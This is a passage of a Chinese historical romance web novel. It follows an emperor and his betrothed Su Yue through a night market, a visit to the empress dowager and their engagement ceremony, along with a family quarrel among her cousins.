边上的人舒了口气,“好?在朕推翻了他们高家,否则你在她眼中是?商户女?,朕也?无?非是?个臭兵痞。不过这位公主到很有意思,自己都混成了糊家雀,怎么有闲心看不起?人?要?不是?朕把她指给李再思,她早就沦落进花街柳巷了,鲁国夫人可不会养她一辈子,一旦撵她出门,她能去哪里。” 苏月惆怅地抚抚膝头?,“想?来还是?怨你给她指了这门婚,那个李再思大她好?几岁,有儿有女?的,家里还有妾室。” 皇帝发笑?,“你当朕是?月老,还要?给她指个身份尊贵的青年才俊?这种人倒是?有,朕就是?现成的,只怕你舍不得。” 又来了,自打答应了他家的求亲,这人的极度自信简直让人不忍直视。 她满脸不以为然?,皇帝只好?难堪地清了清嗓子,“朕办事,不求别人圆满,只求有利于江山社稷。容她活着,就是?要?她成为拴住李再思的绳索,你是?不知道朝中动向,自打李再思娶了她,可比之前消停多了。若要?朝纲稳固,必得约束好?这些猛兽,否则他们就会生疑,既然?你能做皇帝 ,我为什么不能。” 说得也?是?啊,哪里来那么多的面面俱到。人做不到十分,有个七八分行走于世,已属上上乘了。 马车在街道上缓行,王侯将?相?居住的里坊一般都很清净,须得走上一程才到南北市。 越临近街市,外面越热闹,路上张灯结彩光线明亮,透过窗上的珍珠纱,映照进车舆内来。 苏月掀起?窗帘的一角,探身朝外看,纤纤的脖颈线条娇弱又美好?。她这个人啊,清朗朗的身形无?可挑剔,这种不经意间?流露的美,让身边的人不由垂涎三尺。 “你饿么?”她忽然?想?起?来,回头?问他。 他慌忙收回视线,“先前吃了兔子饼,不算太饿。” “那咱们寻见阿爹的铺子,瞧了一眼再去找吃的,好?么?” 她说好?么的时候,俏生生的音调上扬,皇帝便迫不及待点头?,“好?,你说怎么就怎么。” 她抿唇笑?了笑?,吩咐淮州找济世堂,阿爹新开的药铺据说生意兴隆,应当很容易找到。如今市面上倒卖假药的不少?,百姓认定了国丈要?顾念名声,暂且会老实做生意,因此就算天再晚,也?有络绎往来的客人。 淮州把车停在了幌子底下,上来打开车门,苏月老远便看见阿爹还在铺子里,跳下车唤了一声。 辜祈年忙回头?,讶然?道:“这么晚了,怎么上这儿来了?”忽然?发现皇帝陛下跟在身后?,惹得老岳丈一阵忙乱,又是?备茶又是?备点心,客客气气地把人迎进了门。 苏月四下看了看,药柜林立,药香四溢,随口应道:“我去赴了一场喜宴,正好?路过北市,来看看咱们家新开的铺子。阿爹怎么这会儿还没回家,店里不是?有人守着吗。” 辜祈年道:“今日有批货要?送来,我得亲自过目才放心。一耽搁就拖延到现在,忙得饭都没顾上吃呢。” 皇帝一听,发现讨巧的机会来了,“正好?咱们也?没吃,朕让人在潘楼定个席面,请辜翁赏光。” 辜祈年纳罕,“不是?说去赴宴了吗?” 苏月不能说自己是?受了皇帝的连累,只得搪塞,“没吃饱。” 这时后?院的伙计端着热气腾腾的砂锅进来,说回禀老爷,瑶柱粥炖好?了。 辜祈年欢喜地一抚掌,“正好?,在店里对?付着吃一口算了。过日子要?节俭,何必出去花那冤枉钱。潘楼的酒席价钱可贵,几个菜色,够咱们一家吃两天。” 他们父女?说着就动手张罗,皇帝是?很有眼力劲的,帮着布了碗筷。心想?他们彻底不拿自己当外人了,虽没过礼,他也?是?辜家认定的毛脚女?婿。 因天凉了,晚间?得生炉子,炉子边上摆了个小桌,三人就围着小桌坐定,一碗粥,两个小菜,吃出了家常的味道。 饭后?他们要?离开,苏月还惦记去夜市上逛逛,辜祈年让等等,从柜台里提溜了一包陈皮出来,“这是?上好?的百年红柑,千金难求,我好?不容易踅摸来的。带回去给太后?,这个时节燥湿化痰最相?宜。”说着塞进苏月手里,“仔细提着,明日亲自给太后?送去。” 这是?老父亲在教女?儿为人处世,不能因人家抬举你,你就心安理?得兀自受用。适时回报一下孝心,婆媳之间?才能相?处得更融洽。 苏月说是?,抱着纸包出门,别过了阿爹,把陈皮放进车辇里。 放眼朝远处看,这夜市灯火通明,做小买卖的商贩在街边上烙饼蒸点心,白雾缭绕,迷迷滂滂地。 她自顾自往前走,想?去找找卖小物件的摊子,可走了一程,才发现边上的人不见了。 赶忙回头?寻找,见他站在那里,满脸写着不高兴。她只得重新退回来,“又怎么了?怎么站住了?” 他说:“这么大的雾气,你不怕朕走丢了?” 苏月看着矫情?的他,不知他又要?出什么馊主意。 他见她不知领会,痛心疾首,“你居然?还要?考虑?朕暗示得还不够明显吗,当然?是?牵住朕的手啊!” 第66章 第 66 章 这个男人她不想要了, 谁要谁带走?吧。长得人高马大,脾气这么别扭麻烦,要不是看他是皇帝, 她早就痛殴他了。 苏月嘟嘟囔囔, 上前?牵住了他, “你是女郎吗?朗朗乾坤,怕自?己走?丢了?我有时候真的很可怜自?己, 为什么遇见你。以前?阿爹说不要嫁武将,武将粗野, 现在看来阿爹说对?了一半, 武将并非个个粗野,还有你这样的异类。” 她喋喋不休抱怨,在他看来完全就是甜蜜的负担, 自?动忽略了她的长篇大论, 仅用一招就克敌制胜, “朕也喜欢你。” 搞得苏月张口结舌,半晌说不出话来。 牵住了她的手, 他愉悦地摇动一下,“不用太感动,你若是喜欢听, 朕以后每日都说给你听。” 苏月泄了气, “我不想同你说话了。” 他笑了笑, “你若是想唱歌给朕听,朕也十分欢迎。” 苏月无奈地看了他一眼?,其实两个人相处的调性, 从第一次见面就定下了。她至今还记得他介绍自?己的那番话,当时以为他是个自?负深邃的人, 结果高估了他。自?负是真的自?负,深邃是半点没有,有时候会被他气得死?去活来,有时候却?又?感动于他的执着和真诚。 算了,就是这个命吧,她决定向命运妥协了。权大唯一的一点好处是不开?口的时候,人才样貌十分拿得出手,姑苏老家有个习俗,阿妹冬至日要给阿兄们买寒帽,她不知该选什么样式,让他戴上,可以提供不错的参考。 然而?这参考,有时候也会混淆视听,这人戴什么都好看,摊主就借着他夸夸其谈,“小娘子看,狐裘轻暖,里子加金丝绒,戴上既保暖又?贵气。”见对?方站直了身体像座小山,立刻又?追加了一句,“还显高。” 对?镜自?照的人,沉迷于自?己的英俊相貌无法自?拔,不替苏月挑刺讨价还价,反倒帮着人家说话,“做工确实很好,戴上很暖和,你阿兄应当会喜欢的,别犹豫了,买吧。” 苏月给他使眼?色,“帽圈看上去不太正,还是再挑挑吧。” 他抬手调整了下,“很正,是我没戴好。” 气得苏月打?了他两下,“你闭上嘴,不许说话了。” 皇帝摸了摸鼻子,果真缄口不言了,对?面的摊主向他投来同情的目光——看来家里还是女郎做主啊。 谈到最?后,终于用两顶的价钱买下了三顶,皇帝因此对?苏月满怀敬佩之情。麻利地付了钱,然后眼?巴巴看着她,等?她替自?己也挑一顶。 可惜她丝毫没有这个觉悟,举步就要走?,他只得拽了下她的衣袖,“试了半天,没我的份么?” 苏月说:“这是阿妹买给阿兄过冬的。”忽然想起?他也曾有过阿妹,只是不在人世了,恐怕还没来得及戴过阿妹置办的暖帽。心下有些可怜他,又?对?他刚才的没眼?色怀恨在心,随手扯过一个虎头帽扣在他脑袋上,“你戴这个正合适!” 真是个调皮的女郎,皇帝并不生气,取下帽子仔细查验了一番,“再给我挑一个,这个留下,给第一个孩子。” 苏月简直无话可说,亲事还没定,他就已经开?始考虑生孩子了,可见这人满脑子不洁的狂想。 他见她不应承,奇道:“怎么了?未知男女,索性再给女儿买一个?” 对?面的摊主两眼?发光,没想到意?外做成这么大的生意?,忙道:“郎君挑吧,还是老价钱,花两顶的价钱,给您仨。” 苏月说不对?啊,“两小一大,不该这么算。” 摊主掖着手微笑,“虎头帽绣工繁复,不比大人的省时省料。两顶小的是正价,大的那顶才是饶头。” 这么一说就明白了,苏月爽快地拍了板,“成交。” 离开?帽摊以后,他还在为这个算法纠结,“为什么两顶小的是正价,而?朕却?是饶头?” 这还不明白吗,他是锦上添花。 苏月暗笑着安抚他,“你没听那摊主说,孩子的帽子做工繁复,贵就贵在耗时上。” 他这才怏怏作罢,手里掂着小帽子打?量再三,喃喃说:“万事俱备,只欠东风了。” 皇帝陛下现阶段的目标就是订亲娶亲,再生两个孩子,仿佛只要完成了这些,人生便?没有任何遗憾了。 苏月转头看他,他唇边噙着浅笑的样子,很有一种温情的静好。她先前?觉得他与齐王各长各的,其实这时细看,他们兄弟的眉眼?很像。唯一的不同是齐王柔软,而?他锋芒毕现,若论哪种好看,她还是更喜欢后者啊。 这回她主动牵住了他的手,上都是大梁繁华之地,哪怕天气转凉了,晚间的街市上还是有熙攘的人群。他们在各种小摊间徘徊,买头花,买耳坠子,都不名贵,但都很喜欢。 “你不是爱吃姑苏的香糖果子么,朕带你去买。” 他引她走?上一条临河的小径,河边的栅栏上挂着小灯,一路都是亮堂堂的,让她想起?老宅后那条常走?的小路。 顺着堤岸一路向前?,越走?越有似成相识的感觉。她的注意力都被前方吸引了,总觉有个未知世界在等着她。她猜想不出来,他口中的香糖果子有什么殊胜之处,需要特意?走?那么远的路去买。可她不觉得厌烦,一直这样走?到地老天荒,好像也很有意?思。 终于,到了那条小径的尽头,迈出路口,眼?前的一切让她忽然湿了眼眶。 这是十泉里啊,和姑苏一模一样的十泉里。头一家是香饮铺子,第二家卖各色扇子。再往前?,卖泥人的、卖文房的、卖香料的、卖果子的……每一家的门头都复刻了姑苏的店面,连街边高高竖立的桅杆,上面挂着的两串白纱灯都与姑苏别无二致。 她心头澎湃,感激地望向他,“这得费多大的力气啊,全家搬来了,十泉里也搬来了。” “你不是很怀念十泉里吗,这回再也不用惦记姑苏了,踏踏实实在上都过日子吧。”他说得轻描淡写,“朕也不知道能再为你做些什么,只要你看到这些心里高兴,那朕的心思就没白费,朕也很欣慰。” 女郎一感动,事情忽然就变得好办了。她踮起?脚,一下子搂住了他的脖颈,齉着鼻子说:“大郎,你怎么这么好!我这辈子,必是再也遇不见比你对?我更好的人了。” 这忽来的温存让他受宠若惊,忙紧紧回抱她,得意?道:“那是当然。你曾说做得好不如说得好,可见女郎你还是太年轻啊。看看现在,究竟哪样更好?每日只会甜言蜜语,这种人最?是无用,朕这等?郎子才是真材实料。你想吃什么姑苏特产,想玩什么江南小物,这里都有。不过这些都是真商贩,不是朕让人假扮的,就算朕想采买,也得花钱。” 采买花钱都是应当的,最?愁就是想花钱,找不到带着家乡味的物件。苏月在这上都的十泉里游走?了许久,买了很多零碎的小玩意?儿,吃的用的装了一大包。到最?后心满意?足了,欢欢喜喜对?他说回去要告诉姑苏的同乡,等?梨园放值的日子,让她们一同来逛逛,潦慰思乡之情。 只是这一游玩,游到了夜半。街市上的行人慢慢变少了,苏月才惊觉时候太晚,该返回梨园了。 两个人坐进车辇里,各自?翻看所得的物件,苏月拿着头花在发髻间比划,皇帝则看着膝头的一对?虎头帽,看出了满脸慈祥。 苏月搔首弄姿显摆,“快看,我好不好看?” 皇帝随口应着,“好看,偶尔戴些俗艳的绒花,心情舒畅。” 苏月置若罔闻,反正已经习惯了他时不时蹦出一句气人的话,气得久了,习惯了,话听半句准错不了。 不过他盯着那两顶帽子发呆,些微令她感受到了重压。她说:“别看了,再看也看不出孩子来。你是不是上了年纪,很羡慕人家做阿爹啊?” 皇帝说当然,“朕快三十了,前?半生戎马,后半生要享福,有老妻作伴,儿孙绕膝。” 他的话刚说完,车就颠了下,两个人挪了挪身子坐稳,苏月说:“莫急,孩子总会有的。陛下建立大梁,百姓都过上了好日子,你恩泽天下,将来的福气大着呢。” 皇帝的手攀上来握住了她,缠绵地问:“真的?” 苏月“嗯”了声,“真的。” 这时车又?颠一下,把皇帝头上的暖帽都震歪了。 他叹了口气,朝外说:“淮州,别挑不平整的地方走?了,朕与大娘子闲坐说话,什么都没干。” 外面赶车的淮州闷闷应了声是,遗憾判断失误了。 这个立功的小诀窍还是国用传授他的,若是察觉车内谈话有了暧昧的倾向,尽量让马车颠簸起?来。一颠簸,说不定就亲上了,再不济娘子坐不稳,陛下也能上手抱住她。国用就是靠着缜密的心思把握住天降的好运气,成功让陛下升他当了徽猷殿总管。既然班领的职务空出来了,淮州也打?算尝试一下,万一颠到了妙处,升职就指日可待了。 苏月则叹息着扶住了额,心想做皇帝果然是幸福啊,有人急他之所急,凑热闹的多了,各种奇怪的意?外也就多了,发生点什么简直易如反掌。 不过皇帝陛下多少还有些不自?信,亲事没定,婚期也没定,生孩子更是遥遥无期。所以他迫切希望她对?他予以肯定,坐过去一些问:“苏月,你对?朕的感情不会变吧?” 苏月眨巴了下眼?,没有应他。 他更不放心了,“你还是喜欢朕的吧?” 女郎觉得他有点烦,“若有变动,我会提前?通知你的。” 这下他心里没底了,抱怨起?来,“朕觉得一向是朕对?你喜欢更多,你呢,常在敷衍朕,真心换不来真心。” 苏月蹙着眉发笑,“你日后会不会每日都要问我一遍,喜不喜欢你?喜欢是要放在心里的,不能总说出来。” “可你不说,朕就不知道。”他握着两只虎头帽,忧愁地看着她。 苏月被他闹得没办法了,无奈道:“我不是亲过你了吗,亲过就是喜欢你呀。难道你以为我俩是亲过嘴的好朋友吗,你再啰唣,我可不想搭理你了。” 这话倒是没惊着皇帝,惊着了外面的淮州,淮州被口水呛了,不合时宜地咳嗽起?来。也许以他为数不多的感情阅历看来,这对?帝后的相处是超脱物外的,朝堂上负重前?行的陛下,回到家后能得到很多情感的慰藉,这也是人生中的大欢喜吧。 反正皇帝陛下总算是高兴了,小心地把虎头帽卷起?来,边卷边说:“朕得收好它们,兴许明年冬就用得上了。” 走?一步看十步说的就是他,刚正式亲过一回嘴,他就想好孩子该怎么过冬了。 苏月叹了口气,无助地望向窗外,开?始思考大着肚子能不能管理梨园这个问题。还好内有颜在梅引她们,外还有苏云,婚姻和事业都不耽误,其实有第三条捷径。 那么接下来,最?强有力的支持者就是太后了,她得好生讨这位婆母的喜欢,于是第二天拎上了阿爹给的陈皮,专程往安福宫跑了一趟。 那厢太后抱着礼单每日看一遍,每看一遍就往上添点东西,及到今日,又?整整扩写了两张纸。 权弈坐在窗口的日光下,正慢条斯理盘弄他的工夫茶,待一煎成,给母亲舀了一盏,笑道:“阿娘是打?算举全国之力,给阿嫂下聘么。先喝茶吧,喝过了再看不迟。” 太后笑着把礼单交给了傅母,偏身道:“先操持你阿兄,再操持你的。我啊,如今是没有后顾之忧了,他的婚事落准了,你的身子又?痊愈了,真是老天开?眼?,想是你阿爹在天上保佑着咱们一家呢。” 权弈牵着袖子,往太后杯盏里添茶,一面道:“我一向得阿兄护佑,才无惊无险活到今日。以前?不能为阿兄分忧,如今身上好了,也该为朝廷做些实事了。阿兄把核准官员任免的大权交给了我,还有上都内外驻军,也一并让我管辖了。” 太后说很好,“你读了那么多书,也有报效的决心,阿兄信任你,你可得全力以赴,别让你阿兄失望。” 母子正絮絮说着话,外面有人通传,说辜娘子来了。 太后“哎呀”了声,“快把人请进来。”等?人一到跟前?,便?朝她伸出了手,“今日梨园不忙?怎么惦记进来瞧我了?” 苏月行了礼,牵住了太后的手,笑着说:“昨日上北市铺子里去了一趟,家君得了上好的陈皮,让我拿进来给太后尝尝。”一面向权弈颔首,“大王也在呢。” 权弈起?身拱手,“刚散朝,想着进来瞧瞧阿娘,正巧又?遇上了娘子。” 太后招呼,“别站着说话了,快坐下喝茶。”一面接过纸包小心打?开?,自?然要对?亲家的好意?大大领情,“一两陈皮一两金啊,这样上好的东西很难得,替我谢谢你父亲。” 彼此闲坐说话,谈及了过礼事宜,太后说:“就在眼?前?了,事儿一办完,我心里的石头也落地了。只是仍盼你们早日成亲,别听大郎说不着急,其实他心里乱着呢,只是不好意?思催你。” 苏月赧然点了点头,“我省得,请太后放心。” 如此还有什么担忧呢,女郎一句话,赛过大郎十句。不过这个儿子仍是太后全部的骄傲,她慢慢说起?他小时候的事,感慨着:“我家的两个孩子,自?小读书就比别人强。大郎十一岁那年四书五经都读遍了,若是不去投军,想来定会考取功名。可有一回他从学里回来,看见一个大肚子的妇人倒在路旁亟待生产,官衙中的人从路上经过,竟没有一人停下伸援手,那时他就打?定主意?要从军,不多时就投奔了武都侯。”太后尽力为儿子周全着,“正因十三岁便?参军,军中都是粗放的男子,不擅讨女郎欢心,但心意?是实实在在的。” 苏月想起?昨晚的十泉里,对?权大再多的挑剔也足以忽略了,含笑道:“我与陛下相处日久,慢慢了解了他的为人。我只是担心,梨园中不时有些意?外发生,动辄还会闹上朝堂,唯恐太后因这个对?我有成见,前?几日都不敢来见您。” 太后失笑,“朝堂上形势诡谲,你看见一,人家早就三生万物了。既然想把梨园经营好,就不能怕事,自?己行端坐正,有什么不敢见人的。” 所以大郎的豁达,有很大一部分是来源自?母亲啊。早年间未知全貌而?拒亲,到现在终于隐隐有了悔意?。 后来又?陪太后坐了好一阵,才从安福宫出来,一路与权弈同行,这位小郎是个静水深流的人,闲散地与她聊起?乐理,“我曾有个想法,想入乐府做乐师,可惜这个愿望是无法实现了。家里有几首谱好的曲子,白放着可惜,改日得空请娘子过目,为我雅正。” 以乐会友是梨园人最?爱的事,当然没有拒绝的道理。苏月欣然应了,走?到归义门上,方才与他拱手道别。 日子过得很快,立冬过后便?是小雪,二十八日转眼?就到。 除却?苏意?那桩不叫人看好的婚事,苏月定亲才是这辈女郎中的头一件喜事。因此一早家里就预备起?来,弄得像大婚似的,院子内外张灯结彩,家里的族亲们五更天就到了,殷切地盼着朝廷主持过礼的官员前?来宣读太后懿旨。 未来的皇后,众星拱月,这种境遇苏意?没有享受过,远远站着,心里不免有些发酸。 “果真夫贵妻荣,这话我今日才算明白。”她撇着唇道,“我那时成亲都没有这样排场,细想想,真是人比人气死?人。” 她们堂姐妹一共有六人,大房是苏月姐妹三个,三房是苏意?另加一个不值一提的庶妹,余下是二房的苏柳。苏柳闷葫芦一样的人,平时没什么大主意?,一般充当倾听者。苏意?有什么抱怨,一股脑儿倒进她脑子里,她也没有多大反应。 不过今天倒是破天荒地发表了一下见解,“长姐嫁的是陛下,你做什么要强比?强比不是自?讨没趣?” 苏意?一听便?炸毛,压声道:“说起?这个我就恼火,长姐只顾自?己荣华富贵,当初却?那样坑害我。明知道全家都要来上都,她怎么不告诉我?我一个人在梨园,又?不得她照应,自?然得想办法找个人依靠,病急乱投医才找了现在的郎子,若早知道能有今日,我还会嫁给姓白的吗?如今连苏云都进梨园做官了,果真我这个堂妹不是至亲骨肉,受的那些罪,全都是她害我的!” 第67章 第 67 章 苏柳讶然, 但?又因不会说话,不知该怎么指责她,只道:“你这么说, 不太好吧!” 苏意抱定了这个主张, 越想越觉得自己吃亏。起先不与她们来?往时, 不咸不淡的日子没?有比较,一切倒还好。今天看见了苏月订亲的排场, 让她打心底里泛起酸味来?。 都是姓辜的,为什么差别?那么大?她也?不是羡慕苏月嫁了皇帝, 就是觉得同是一家子姐妹, 族中?人截然不同的态度,实在让人伤心。 “原来?自家人,也?不免捧高踩低。”她凉笑?道, “人人都说苏月是姐妹们的榜样, 你们是没?瞧见她使小心眼, 没?领教过她的手段。” 结果这番痛快的发泄,很?不巧一字不差全落进了苏云耳朵里。 苏云一把拽过苏意, 脸上堆着笑?,咬着后槽牙道:“阿姐你来?,我有几句话要对你说。” 这是通牒, 不是邀请, 不等苏意答应, 苏云就强行把她拖到了后廊上。 这时三夫人过来?,四?处找女儿?,问苏柳:“你可见了你三妹妹?” 苏柳老实地?摇摇头, “先前和我说了两句话,就上外面去了……我也?不知她去了哪里。” 那厢苏云一把逮住了苏意的衣领, 手指头几乎戳到她面门上,“今日是长姐订亲的日子,辜苏意,你要是让她今日不高兴,我让你一整年不高兴,听明白了吗?” 苏意挣不开?她,气得大骂:“你疯了不成,动?手动?脚!别?以为你们攀了高枝,就来?欺负人,我不吃你们这一套。” 苏云说呸,唾沫星子直喷到她脸上,“你刚才说的那些话,亏不亏心?你不就是嫉妒么,白的说成黑的,连自己都快相信了吧。你可别?忘了,你娘家所得的赏赐都因长姐而来?,否则你们三房算个什么!你当初偷奸养汉,为嫁姓白的,私孩子都弄出来?了,长姐怎么害的你,她是给你脱裙子了,还是绑着你和人私通了?自己不要脸,如今厚着脸皮反咬一口?,我要不是看今日不宜揍人,非把你的牛黄狗宝掏出来?不可。” 苏意被她一顿臭骂,顿时胀红了脸,“我又不曾冤枉她,举家来?上都的消息,她为什么不告诉我?” 苏云抓着她的衣襟用力晃了晃,“我看看能不能把你脑子里的水晃出来?。陛下是等我们安顿好了,才让长姐知道全族来?了上都,这是给长姐惊喜,懂不懂!你哪里等得及,两个月前不就和人勾搭上了吗,还有脸埋怨,别?叫我替你害臊了。” 苏意被她撕扯得明明白白,不由?恼羞成怒,“你做什么总提孩子,我落了这个短处,就要被你们笑?话一辈子?” “要不怎么?难道夸你光宗耀祖?”苏云又着力警告了她一番,“你今日最好给我消停些,坏了陛下过礼,你们全家都得完蛋。等过了今日,你有什么不痛快尽管来?找我,到时候我再赏你大耳刮子,保管让你找不着北。” 苏云说完,狠狠推了她一把,苏意倒退了两步才站稳身子。再看,苏云已经走远了,气得她直咬牙。正愤恨难平时,身后幽幽冒出个声音,又吓了她一大跳。 回头才发现是苏雪,苏雪顶着一张人畜无害的脸,细声说:“阿姐,姐夫是不是在太常寺做官?廪牺署是专管祭祀用品的,那太常寺有没?有专管掏大粪的衙门?你若是得罪了陛下,陛下不杀你,让姐夫做掏粪令,那可怎么办?所以你还是少说两句吧,要是连累姐夫贬官,回去小心他?打你。” 苏雪说完,甩着指间的红线走开?了,剩下苏意呆站在那里,又羞又愤迸出了两眼泪花。 可是还能怎么样,如今堂姐妹之间云泥之别?,或者说打从一出生?,就是云泥之别?。她对这位堂姐素来?存着嫉妒,有的人就是天生?好命,投胎在大房,家境殷实,一落地?就受尽宠爱。出身好也?罢了,长得还是所有姐妹中?最漂亮的,如今更好,郎子是皇帝,她早就赢到根上了。自己的不平还有什么意思?,到头来?自弹自唱,自己消遣自己罢了。 总之在苏月不知情的情况下,一场小小的风波平息了。苏意再出现时分明识趣了不少,但?苏云两眼还是如鹰隼一般紧紧盯住了她。 她尽力避开?苏云辛辣的目光,在不安中?见证了宫中?隆重冗长的订婚大礼。太后的懿旨上说苏月“秉德柔嘉,持躬淑慎,可以辅弼皇帝”。连商贾出身的大伯都顺带受封了吴国公,大伯母也?成了国公夫人,可说是一人得道,鸡犬升天。 苏意最后实在是受不了苏云的恐吓了,私下里找到她说:“我服了还不成吗?你盯我一整天,打算把我盯出两个窟窿来??” 苏云哼笑?了声,“你最好是真服,否则就不是两个窟窿了,是三刀六洞。” 苏意怪叫,“你还要杀我?” 苏云道:“相差不远的嫉妒叫争强好胜,相差太远的嫉妒叫不自量力。你究竟是哪一样,你自己细品。” 苏意灰了心,发现确实没?什么可比了,反倒开?始盘算人情留一线,将来?说不定能给自己的儿?孙谋个好前程。 那厢苏月与皇帝交换了婚书,这婚书上盖着皇帝的玺印,帛书托在手里沉甸甸地?。对面的人这会儿?还有些恍惚,自己何尝不是呢。这么吵吵闹闹,后半辈子就栓在了一起,现在想来?还觉得不可思?议,这门婚事拖延了四?年,最后还是结成了。 族中?的亲眷们都来?道喜,宰相和尚书作为皇帝过礼的赞官,自然也?极力颂扬这门婚事。其?实照着常理,皇帝迎娶商户女实在门不当户不对,但?过程中?发生?了那么多事,早已让满朝文武老实了。 高龄二十七的陛下,能尽快成婚就尽快成婚吧,是个女的就行。犹记得宰相当初给陛下保过媒,说合的是太师的孙女,头一回见面人家为表敬意,说“今日真高兴,得见陛下”,结果皇帝陛下说“你高兴得太早了”,于是太师的孙女哭着告诉家里人,这门亲事准成不了。 也?不知辜家女郎究竟受了多少委屈,才熬到今天。就冲着这份恒心,不当皇后老天都看不过去。 所以有情人终成眷属吧,他?俩该凑成一对。并且宰相看着他?们深情对望,眼里完全没?有勉强,实在觉得这是件很?神奇的事。 作为礼官,宰相趁着开?席之前找到了国丈,深情并茂地?催促了一番,“婚书上没?写大婚的日子,却也?要请国公多多上心,早定佳期。毕竟陛下与大娘子都到了年纪,大梁什么都不缺,就缺几位皇子。皇子多了江山稳,这个我不说,国公爷也?明白。” 辜祈年连连点头,“明白、明白。这事我们自会留意的,快开?席了,相国请吧。” 人前矜持的皇帝陛下,还需端稳地?应付场面上的一切,就像小小的孩子兜里装满了糖果,此时世?上没?人比他?更富有。他?可以从容不迫面面俱到,即便不去时刻盯着苏月,也?不担心她会对别?的男子产生?兴趣。她是他?的未婚妻,名正言顺的,有婚书为证。得了这层保障,就没?有什么可发愁了,要是她再敢三心二意,他?就把婚书内容誊抄下来?,贴在她脑门上。 所以一场订婚筵,吃出了大婚的喜气,辜家下了好大的本儿?操办,诚是不辜负院中?堆满的聘礼。 等到筵后,订婚庆典的两个重要人物才单独说上话,皇帝握住苏月的手说:“自今日起,朕就是你的人了,辜娘子,你高不高兴?” 苏月细细品鉴了一番当下的心情,高兴是真有些高兴的,没?想到转了一大圈,这个飞黄腾达后的汉子还在原地?等着她,算是天定的姻缘了吧! 只是她不大好意思?说出口?,还有些扭捏。皇帝很?喜欢她现在的样子,她越是害羞,他?就越是张狂。 “朕打算向你阿爹提个要求,东边的院子朕不想住,朕要住到西边去。” 苏月说你别?太过分,“那是我阿娘专程为你准备的,地?方大,屋子多,适合你前呼后拥的排场。” 可他?不领情,“朕也?可以减免排场,下次独自前来?。院子这么大,一个人住会害怕,你若愿意搬来?陪朕……” 狐狸尾巴说话间就露出来?了,苏月冲他 ?笑?了笑?,“你想得美。” “所以朕打算搬到西边去,地?方小些也?不打紧,只要离你不那么远。”他?说起这个仍觉惆怅,“令尊和令堂太拿朕当外人了,今日让淮州查探了一遍才知道,朕与你之间不单隔着你阿兄和爹娘,还隔着苏云和苏雪。朕是这样让人信不过的人吗?朕堂堂的皇帝,难道会对你不利?” 利不利不知道,反正没?安好心是肯定的,否则怎么特意让人查探。 苏月倒是很?能体谅他?,毕竟这么大年纪了,喜欢上女郎就心猿意马,也?是人之常情。于是小小安慰了他?一下,“爹娘未必是防你,说不定是防我。陛下这样洁身自好的君子留宿我家,万一被我玷污了清白,对大家都不好。” 未婚的夫妻,说话有点不拘小节,虽没?有实战经验,但?不妨碍夸夸其?谈。 皇帝早就在坑底等着她了,激动?地?说:“朕不怕。请问朕今晚能住你家吗?你何时来?玷污朕?” 苏月看了眼糟心的他?,“我能胡说,你不能当真。” 可他?粘缠起来?,左右觑觑无人,小声说:“让朕抱抱你好么?朕好不容易聘回来?的女郎啊!” 苏月红了脸,“不成吧……” 他?说可以的,小心翼翼揽住了她。 苏月并没?有拒绝,她好像越来?越习惯他?身上的气味了。他?不用龙涎,永远是松柏淡淡的木香,如同清晨走过树林,地?上长满了青苔,日光穿过松枝,松塔脆生?生?跌在焦黄的落叶上。 抬起手,她覆上他?宽阔的脊背,心里只觉安定,她的人生?,终于走到了谈婚论嫁这步。如果那时没?有忽逢梨园的征令,她是不是已经嫁给了长街尽头的王谢后人?也?或者婚事没?成,这时正站在高柜之后,查验那些典当的首饰衣物。 不过这种时候想避人耳目抱上一抱,其?实有些涉险,果然没?消多久就听见苏雪呼啸而来?,夹带着几个侄儿?的笑?闹,“阿姐,东华楼送了两盒荔枝雪……” 脚下走得快,冲出月洞门时看见了不该看的场景,苏雪慌忙刹住脚,笨拙地?转身驱赶孩子们,“走走走,大姑不在这里……” 可是孩子们不好糊弄,早就从她胳膊底下窥见了,大喊着:“大姑与陛下姑父抱在一起,我昨日看见我爹娘也?抱在一起……”结果不出所料,换来?老大两个爆栗子。 苏雪赶鸡似的把孩子们都赶走了,苏月觉得很?尴尬,搓着脸道:“此处不宜久留,走吧。” 皇帝说:“可以去你的闺房坐坐。” 然而没?能等来?苏月的答复,倒是等来?了国用。国用掖着手在对面廊上传话:“陛下,司隶校尉有要事回禀。” 皇帝面色一冷,但?很?快又恢复如常,笑?着抱怨:“今天这样的好日子,朕都不得清净,这帮人是朕的克星。”复垂眼望她,“那朕先忙手上的事去,等忙完了再来?与你磋商?” 苏月点了点头,“政事要紧,快去吧。” 他?说好,转过身时隐匿了笑?,眼中?风雷隐隐,提袍快步往游廊那头去了。 苏月只知道朝中?政务繁杂,有些急事是臣僚不能定夺的,非得他?自己过问,因此并未放在心上。可后来?他?却没?有再回来?,晚间大家等了很?久,只等来?御前内侍传话,说陛下太忙,抽不出空来?,请诸位不必等候了。 辜祈年便张罗大家落座,“咱家蒙受圣宠,原本过礼事宜,宫中?派人来?办就是了,没?想到陛下亲临,多长脸!既然陛下有事要忙,那咱们就遵圣旨,该吃吃该喝喝。”边说边摇袖,“白天怕失态,晚间定要多喝两杯。来?、来?,我敬大家,今日多谢诸位族亲帮忙,否则我们可忙不过来?。” 大家举杯回敬,二婶打趣:“往后咱们与阿兄说话可得小心分寸了,如今人家是国丈,陛下亲封的吴国公。升斗小民面见国公爷,得躬着身子说话,否则治一个不恭敬的罪过,要上板子受刑的。” 说得辜祈年连连摆手,“见笑?了、见笑?了。” 辜夫人更关心女儿?的去留,问苏月:“今晚住在家里么?好容易回来?一趟。” 苏月说不成,“再过几日就是冬至了,有祭天大典,乐工每日都要排演到很?晚,不能出一点岔子,我人不在,还是不大放心。”见阿娘有些失望,又笑?着安抚,“等忙过冬至,我一准在家住上十天。” 辜夫人失笑?,“谁信你!回头又要筹备除夕和正旦的宴饮,差事一桩接着一桩,哪里得闲。” 那倒是,自打自己张罗起了梨园,一天十二个时辰总不够用。但?忙虽忙,却找到了活着的价值,大梁音声可以自成一体,她还计划着要收录一本曲谱,将来?流传后世?呢。所以趁着年轻,趁她还有忙碌的余地?,痛快忙个底朝天。将来?有的是时候赋闲,万不能浪费现在的好光阴。 当然,今晚着急要回圆璧城,还是因为记挂权大。以他?那副恨不得长在她身上的劲儿?,晚间不出现,总让她感到忐忑。 于是晚宴过后就辞过爹娘,返回梨园了。梨园中?的乐工们都知道她今日定亲,乍见她回来?,大家都上来?行礼,吵吵嚷嚷说拜见皇后殿下。 